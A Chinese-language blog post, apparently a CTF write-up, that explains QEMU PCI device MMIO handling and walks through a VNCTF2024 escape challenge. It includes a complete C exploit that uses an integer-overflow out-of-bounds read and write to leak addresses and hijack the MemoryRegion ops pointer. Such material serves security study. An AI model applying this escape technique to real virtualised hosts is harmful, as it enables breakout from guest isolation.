qemu逃逸初探索

貌似已经很久很久没有更新了。。。。。主要在搞学业上的一些汇报以及大作业还有期末,中间陆续会写几道pwn题,但是博客实在是没有精力写了。

最近接触了qemu虚拟化相关的一些知识,打算记录一下自己对于qemu容器借助有漏洞的pci设备来逃逸的一些学习过程,本博客记录了笔者从这方面完全一头雾水到初步理解(大概?

qemu中pci设备使用mmio通信步骤

这里用blizzardctf2017的strng设备实现来分析

1
2
3
4
5
6
7
8
9
static void pci_strng_realize(PCIDevice *pdev, Error **errp)
{
STRNGState *strng = DO_UPCAST(STRNGState, pdev, pdev);

memory_region_init_io(&strng->mmio, OBJECT(strng), &strng_mmio_ops, strng, "strng-mmio", STRNG_MMIO_SIZE);//将MemoryRegion区域初始化
pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &strng->mmio);//将已经初始化好的 &strng->mmio 注册到PCI系统中 PCI配置空间中的BAR0会被设置,guest OS可以分配地址给它
memory_region_init_io(&strng->pmio, OBJECT(strng), &strng_pmio_ops, strng, "strng-pmio", STRNG_PMIO_SIZE);
pci_register_bar(pdev, 1, PCI_BASE_ADDRESS_SPACE_IO, &strng->pmio);
}

在初始化完毕后,内存访问的流程如下:

Guest OS内存访问

QEMU内存子系统

查找对应的MemoryRegion → 找到 &strng->mmio

调用 strng_mmio_ops 中的回调函数

执行具体的设备模拟操作

当GuestOS访问到mmio_base_address到mmio_base_address+STRNG_MMIO_SIZE的范围内的内存时会调用&strng_mmio_ops结构体中对应的指针:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
static const MemoryRegionOps strng_mmio_ops = {
.read = strng_mmio_read,
.write = strng_mmio_write,
.endianness = DEVICE_NATIVE_ENDIAN,
};
//这里着重分析一下回调函数的参数:
/*
1.void *opaque
不透明指针,实际上是 strng(设备状态)
在 memory_region_init_io() 中设置为 strng
在回调函数中需要转型:STRNGState *strng = opaque;

2.hwaddr addr
写入的偏移地址(相对于MMIO基地址)
比如guest写入 mmio_base + 0x10,这里 addr = 0x10
类型 hwaddr 通常等同于 uint64_t

3.uint64_t value(write)
要写入的值
这是最关键的参数,包含了guest要写入的数据
即使写入小于64位的数据,也使用这个参数传递

4.unsigned size
写入操作的数据宽度(字节数)
可能的值:1(byte)、2(word)、4(dword)、8(qword)
*/
static uint64_t strng_pmio_read(void *opaque, hwaddr addr, unsigned size)
{
STRNGState *strng = opaque;
uint64_t val = ~0ULL;

if (size != 4)
return val;

switch (addr) {
case STRNG_PMIO_ADDR:
val = strng->addr;
break;

case STRNG_PMIO_DATA:
if (strng->addr & 3)
return val;

val = strng->regs[strng->addr >> 2];
}

return val;
}

static void strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size)
{
STRNGState *strng = opaque;
uint32_t saddr;

if (size != 4)
return;

switch (addr) {
case STRNG_PMIO_ADDR:
strng->addr = val;
break;

case STRNG_PMIO_DATA:
if (strng->addr & 3)
return;
saddr = strng->addr >> 2;
switch (saddr) {
case 0:
strng->srand(val);
break;

case 1:
strng->regs[saddr] = strng->rand();
break;

case 3:
strng->regs[saddr] = strng->rand_r(&strng->regs[2]);
break;

default:
strng->regs[saddr] = val;
}
}
}

我将上面这个流程直白一点理解就是:在qemu容器中读写特定的base加偏移会触发pci设备特定的回调,逻辑中会操控qemu进程中的堆区域,如果其中存在漏洞,我们就能在容器里面通过内存读写触发qemu进程层面(相当于逃逸出了qemu容器)的漏洞。

BAR是(Base Address Register,基地址寄存器)是 PCIe 设备用来向主机“申请”一段 MMIO(Memory-Mapped I/O)地址空间的窗口;MMIO 区域则是主机把这段申请到的物理地址范围真正映射到设备内部寄存器或存储器之后,CPU 可见的那片“内存”区域。

具体流程:

  1. 设备在上电/枚举时把各 BAR 的低位 RO 字段填成“我需要 2^n 字节、32/64 bit、可预取/不可预取”等属性,高位可写位保持全 0。
  2. BIOS/OS 向 BAR 写全 1 再读回,根据第一个为 0 的位算出大小,然后在物理地址空间里找一段不冲突的区域,把起始地址写回 BAR。
  3. 从此,这段物理地址范围被标记为“MMIO 区域”,Root Complex 见到落在该范围的 TLP 就会转发给对应设备;对 CPU 来说,它就像一段普通内存,可用 load/store 直接访问 。
  4. 设备内部逻辑把 BAR 基址与内部偏移做比对,匹配即认领事务,完成寄存器或显存等资源的读写 。

Guest Os层面的利用

1
2
3
4
5
6
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);

通过查看pci设备的版本号,厂商获得相应的pci的mmio设备文件:/sys/devices/pci0000:00/0000:00:04.0/resource0

再通过mmap映射将mmio的”物理地址”挂到GusetOS中exp的进程内存中,接下来可以根据题目中的设备驱动构造相应的读写函数

1
2
3
4
5
6
7
8
9
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}

题目

好了接下来复现一道qemu逃逸的CTF题目:VNCTF2024中一道题

搭建qemu逃逸题目的调试环境:需要本地运行docker,同时在Dockerfile让容器提前下载好gdb(pwndbg配置太麻烦了),运行run.sh跑起来目标qemu,用gdb attach上对应进程,开始愉快的调试

这里用两个终端分别运行docker容器:docker exec -ti 容器名字 /bin/bash

首先分析对应pci设备的处理逻辑:

!

对于读取逻辑来说,偏移存在两种情况:

  • 0x10:读取ptr+0xb80位置数据
  • 0x20:读取ptr+[ptr+0xb80]+0xb40位置的数据

!

对于写入逻辑:

  • 0x30:如果ptr+0xb84为0,则写入值到ptr+0xb40+[ptr+0xb80]位置,并把ptr+0xb84置为1
  • 0x10:如果写入内容小于0x3c(存在整数溢出),将值写入ptr+0xb80处位置
  • 0x20:对于内容取高32位数据(需要小于0x3c),作为偏移,并将低32位内容写入ptr+0xb40+high(content)的位置

通过整数溢出我们能够读取-2 147 483 648 ≤ (ptr+0xb40) ≤ 60范围的值

漏洞点就在利用整数溢出实现的越界数据读写来操控qemu进程内的堆空间,实现qemu的逃逸。

接下来看看ptr内存附近的内存都有些啥东西,这里列一下 MemoryRegion这个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct MemoryRegion {
Object parent_obj; // QOM父对象

/* 内存区域属性 */
uint64_t size; // 区域大小
uint64_t addr; // 映射地址(在AddressSpace中)
bool mapped; // 是否已映射
uint8_t dirty_log_mask; // 脏页记录掩码

/* 回调函数 */
const MemoryRegionOps *ops; // MMIO操作函数集
void *opaque; // 传递给回调函数的不透明指针

/* 内存区域关系 */
MemoryRegion *container; // 所属容器(如有)
Int128 size_int128; // 128位大小(支持超大内存)

/* 内存类型标志 */
RAMBlock *ram_block; // 如果是RAM,指向RAMBlock
bool ram; // 是否为RAM区域
bool rom; // 是否为ROM区域
bool readonly; // 是否只读
bool nonvolatile; // 是否非易失性
bool rom_device; // 是否为ROM设备
bool flush_coalesced_mmio; // 是否合并MMIO刷新
bool global_locking; // 是否全局锁定

/* 子区域链表 */
QTAILQ_HEAD(subregions, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;

/* 地址空间链表 */
QTAILQ_HEAD(coalesced_ranges, CoalescedMemoryRange) coalesced;
QTAILQ_ENTRY(MemoryRegion) addr_search_link;
};

我们关注其中的const MemoryRegionOps *ops,如果能够控制这个结构体地址指向我们控制的地址,就能在执行 vn_mmio_read 和 vn_mmio_write 时去执行 我们地址上 指向的函数。在ida中搜索/bin/sh,查看交叉引用可以找到一个后门函数地址:0x67429B

!

那么现在存在两个目标:

  • 泄露qemu进程的pie地址
  • 修改MemoryRegion中ops指针到我们能够控制的地址并将其指向后门函数

通过遍历查找我们可以读的偏移找到pie地址,求出pie_base,同时对应偏移上能够修改到对应的MemoryRegion中的ops指针

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)

char* pci_path="/sys/devices/pci0000:00/0000:00:04.0/resource0";
uint64_t mmio_base;
//将设备文件映射到内存中进行操作
unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_path, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base= mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0); //映射bar
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}

uint32_t* mmio_read(uint64_t offsest){
return *((uint32_t*)(mmio_base + offsest));
}

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}

int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();//打开设备文件,并映射内存
printf("mmio_base Resource0Base: %p\n", mmio_base);
//根据泄露对应的pie地址数据
mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);

getchar();
//泄露堆地址数据
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
//伪造ops结构体,其中read指针指向后门函数
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
//将memoryregion中的ops指针改到堆上伪造好的地址
mmio_write(0x10,-0xc0);
getchar();
//触发对应函数
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;

}
}

本题总结

本质上题目在有漏洞的mmio逻辑中实现越界读写,通过越界读写篡改到qemu中一个存储在堆空间的特殊结构体:MemoryRegion,从而劫持程序流。